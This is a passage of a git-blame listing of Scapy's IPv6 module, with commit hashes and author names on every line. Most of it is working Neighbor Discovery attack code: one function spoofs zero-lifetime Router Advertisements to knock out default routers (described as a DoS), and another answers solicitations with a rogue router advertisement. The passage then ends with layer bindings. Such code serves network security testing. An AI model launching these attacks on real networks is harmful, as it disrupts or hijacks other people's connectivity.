3653af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard can provide the MAC address using this parameter. 3654af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3655af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard loop: By default, this parameter is True, indicating that NS packets 3656af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard will be sent in loop, separated by 'inter' seconds (see below). 3657af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard When set to False, a single packet is sent. 3658af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3659af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard inter: When loop parameter is True (the default), this parameter provides 3660af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard the interval in seconds used for sending NS packets. 3661af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3662af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface: to force the sending interface. 3663af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3664af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3665af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not iface: 3666af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface = conf.iface 3667af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3668af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Use provided MAC address as source link-layer address option 3669af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # or the MAC address of the interface if none is provided. 3670af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not src_lladdr: 3671af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard src_lladdr = get_if_hwaddr(iface) 3672af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3673af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Prepare packets parameters 3674af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ether_params = {} 3675af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if src_mac: 3676af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ether_params["src"] = src_mac 3677af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3678af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if dst_mac: 3679af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ether_params["dst"] = dst_mac 3680af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3681af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ipv6_params = {} 3682af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if src: 3683af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ipv6_params["src"] = src 3684af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if dst: 3685af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ipv6_params["dst"] = dst 3686af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard else: 3687af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Compute the solicited-node multicast address 3688af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # associated with the target address. 3689af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tmp = inet_ntop(socket.AF_INET6, 3690af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard in6_getnsma(inet_pton(socket.AF_INET6, target))) 3691af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ipv6_params["dst"] = tmp 3692af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3693af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard pkt = Ether(**ether_params) 3694af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard pkt /= IPv6(**ipv6_params) 3695af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard pkt /= ICMPv6ND_NS(tgt=target) 3696af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr) 3697af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3698af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0) 3699af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3700af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3701af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, 3702af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ip_src_filter=None, reply_mac=None, 3703af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tgt_mac=None): 3704af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3705af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard The purpose of the function is to monitor incoming RA messages 3706af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sent by default routers (RA with a non-zero Router Lifetime values) 3707af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard and invalidate them by immediately replying with fake RA messages 3708af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard advertising a zero Router Lifetime value. 3709af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3710af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard The result on receivers is that the router is immediately invalidated, 3711af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard i.e. the associated entry is discarded from the default router list 3712af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard and destination cache is updated to reflect the change. 3713af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3714af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard By default, the function considers all RA messages with a non-zero 3715af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Router Lifetime value but provides configuration knobs to allow 3716af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard filtering RA sent by specific routers (Ethernet source address). 3717af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard With regard to emission, the multicast all-nodes address is used 3718af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard by default but a specific target can be used, in order for the DoS to 3719af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard apply only to a specific host. 3720af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3721af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard More precisely, following arguments can be used to change the behavior: 3722af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3723af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface: a specific interface (e.g. "eth0") of the system on which the 3724af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard DoS should be launched. If None is provided conf.iface is used. 3725af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3726af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. 3727af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Only RA messages received from this source will trigger replies. 3728af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard If other default routers advertised their presence on the link, 3729af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard their clients will not be impacted by the attack. The default 3730af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard value is None: the DoS is not limited to a specific mac address. 3731af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3732af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter 3733af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard on. Only RA messages received from this source address will trigger 3734af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard replies. If other default routers advertised their presence on the 3735af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard link, their clients will not be impacted by the attack. The default 3736af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard value is None: the DoS is not limited to a specific IPv6 source 3737af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard address. 3738af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3739af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard reply_mac: allow specifying a specific source mac address for the reply, 3740af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard i.e. to prevent the use of the mac address of the interface. 3741af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3742af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tgt_mac: allow limiting the effect of the DoS to a specific host, 3743af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard by sending the "invalidating RA" only to its mac address. 3744af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3745af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3746af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard def is_request(req, mac_src_filter, ip_src_filter): 3747af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3748af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Check if packet req is a request 3749af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3750af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3751af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req): 3752af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3753af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3754af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac_src = req[Ether].src 3755af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if mac_src_filter and mac_src != mac_src_filter: 3756af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3757af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3758a3618a09887e39536009036d2e88341c61d4d385gpotter ip_src = req[IPv6].src 3759af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if ip_src_filter and ip_src != ip_src_filter: 3760af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3761af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3762af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Check if this is an advertisement for a Default Router 3763af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # by looking at Router Lifetime value 3764af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if req[ICMPv6ND_RA].routerlifetime == 0: 3765af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3766af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3767af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 1 3768af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3769af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard def ra_reply_callback(req, reply_mac, tgt_mac, iface): 3770af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3771af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Callback that sends an RA with a 0 lifetime 3772af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3773af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3774af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Let's build a reply and send it 3775af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3776a3618a09887e39536009036d2e88341c61d4d385gpotter src = req[IPv6].src 3777af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3778af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Prepare packets parameters 3779af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ether_params = {} 3780af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if reply_mac: 3781af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ether_params["src"] = reply_mac 3782af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3783af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if tgt_mac: 3784af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ether_params["dst"] = tgt_mac 3785af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3786af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Basis of fake RA (high pref, zero lifetime) 3787af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard rep = Ether(**ether_params)/IPv6(src=src, dst="ff02::1") 3788af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard rep /= ICMPv6ND_RA(prf=1, routerlifetime=0) 3789af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3790af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Add it a PIO from the request ... 3791af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tmp = req 3792af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard while ICMPv6NDOptPrefixInfo in tmp: 3793af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard pio = tmp[ICMPv6NDOptPrefixInfo] 3794af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tmp = pio.payload 3795af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard del(pio.payload) 3796af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard rep /= pio 3797af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3798af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # ... and source link layer address option 3799af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if ICMPv6NDOptSrcLLAddr in req: 3800af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac = req[ICMPv6NDOptSrcLLAddr].lladdr 3801af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard else: 3802af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac = req[Ether].src 3803af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac) 3804af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3805af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sendp(rep, iface=iface, verbose=0) 3806af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3807b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter print("Fake RA sent with source address %s" % src) 3808af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3809af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3810af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not iface: 3811af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface = conf.iface 3812af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # To prevent sniffing our own traffic 3813af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not reply_mac: 3814af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard reply_mac = get_if_hwaddr(iface) 3815af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sniff_filter = "icmp6 and not ether src %s" % reply_mac 3816af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3817af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sniff(store=0, 3818af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard filter=sniff_filter, 3819af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), 3820af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface), 3821af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface=iface) 3822af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3823af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3824af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, 3825af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ip_src_filter=None): 3826af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3827af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard The purpose of this function is to send provided RA message at layer 2 3828af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard (i.e. providing a packet starting with IPv6 will not work) in response 3829af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard to received RS messages. In the end, the function is a simple wrapper 3830af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard around sendp() that monitor the link for RS messages. 3831af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3832af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard It is probably better explained with an example: 3833af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3834af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard >>> ra = Ether()/IPv6()/ICMPv6ND_RA() 3835af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64) 3836af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64) 3837af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55") 3838af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard >>> NDP_Attack_Fake_Router(ra, iface="eth0") 3839af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573 3840af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae 3841af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ... 3842af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3843af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Following arguments can be used to change the behavior: 3844af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3845af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ra: the RA message to send in response to received RS message. 3846af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3847af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface: a specific interface (e.g. "eth0") of the system on which the 3848af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard DoS should be launched. If none is provided, conf.iface is 3849af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard used. 3850af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3851af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. 3852af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Only RS messages received from this source will trigger a reply. 3853af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Note that no changes to provided RA is done which imply that if 3854af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard you intend to target only the source of the RS using this option, 3855af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard you will have to set the Ethernet destination address to the same 3856af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard value in your RA. 3857af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard The default value for this parameter is None: no filtering on the 3858af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard source of RS is done. 3859af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3860af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter 3861af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard on. Only RS messages received from this source address will trigger 3862af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard replies. Same comment as for previous argument apply: if you use 3863af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard the option, you will probably want to set a specific Ethernet 3864af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard destination address in the RA. 3865af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3866af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3867af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard def is_request(req, mac_src_filter, ip_src_filter): 3868af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3869af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Check if packet req is a request 3870af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3871af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3872af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req): 3873af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3874af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3875af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac_src = req[Ether].src 3876af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if mac_src_filter and mac_src != mac_src_filter: 3877af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3878af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3879a3618a09887e39536009036d2e88341c61d4d385gpotter ip_src = req[IPv6].src 3880af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if ip_src_filter and ip_src != ip_src_filter: 3881af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3882af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3883af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 1 3884af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3885af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard def ra_reply_callback(req, iface): 3886af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3887af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Callback that sends an RA in reply to an RS 3888af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3889af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3890a3618a09887e39536009036d2e88341c61d4d385gpotter src = req[IPv6].src 3891af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sendp(ra, iface=iface, verbose=0) 3892b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter print("Fake RA sent in response to RS from %s" % src) 3893af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3894af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not iface: 3895af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface = conf.iface 3896af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sniff_filter = "icmp6" 3897af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3898af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sniff(store=0, 3899af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard filter=sniff_filter, 3900af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), 3901af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard prn=lambda x: ra_reply_callback(x, iface), 3902af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface=iface) 3903af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3904af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3905af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard############################################################################# 3906af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard############################################################################# 3907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil### Layers binding ### 3908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3909c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3910c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3911614f54fc4b269030ba2934b6c353fb43de886e04Philconf.l3types.register(ETH_P_IPV6, IPv6) 3912614f54fc4b269030ba2934b6c353fb43de886e04Philconf.l2types.register(31, IPv6) 39131bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonconf.l2types.register(DLT_IPV6, IPv6) 39141bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonconf.l2types.register(DLT_RAW, _IPv46) 3915f6ce9f53090a518722f0b0dfdf7c4e90b138d0cfPierre LALETconf.l2types.register_num2layer(DLT_RAW_ALT, _IPv46) 3916c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3917c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(Ether, IPv6, type = 0x86dd ) 3918e0602343e528b8c9a53f20a0a40994eb1bb33436rbu@localhost.localdomainbind_layers(CookedLinux, IPv6, proto = 0x86dd ) 3919246c8bdfe6cabcdfc33f02a722bb062c03c8b393bartexbind_layers(GRE, IPv6, proto = 0x86dd ) 3920c4f8a7f08c96149166a0455ad8f85dc87d3e496dAjaxbind_layers(SNAP, IPv6, code = 0x86dd ) 392135f97efc53839f6366918c251dba5df2ac553c8dGuillaume Valadonbind_layers(Loopback, IPv6, type = 0x1c ) 3922c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPerror6, TCPerror, nh = socket.IPPROTO_TCP ) 3923c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPerror6, UDPerror, nh = socket.IPPROTO_UDP ) 3924c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6, TCP, nh = socket.IPPROTO_TCP ) 3925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6, UDP, nh = socket.IPPROTO_UDP ) 3926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IP, IPv6, proto = socket.IPPROTO_IPV6 ) 3927c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6, IPv6, nh = socket.IPPROTO_IPV6 ) 392817b4ef20fe8a6ca5e1387900ca329c5d1bcfe05dGuillaume Valadonbind_layers(IPv6, IP, nh = socket.IPPROTO_IPIP ) 3929246c8bdfe6cabcdfc33f02a722bb062c03c8b393bartexbind_layers(IPv6, GRE, nh = socket.IPPROTO_GRE ) 3930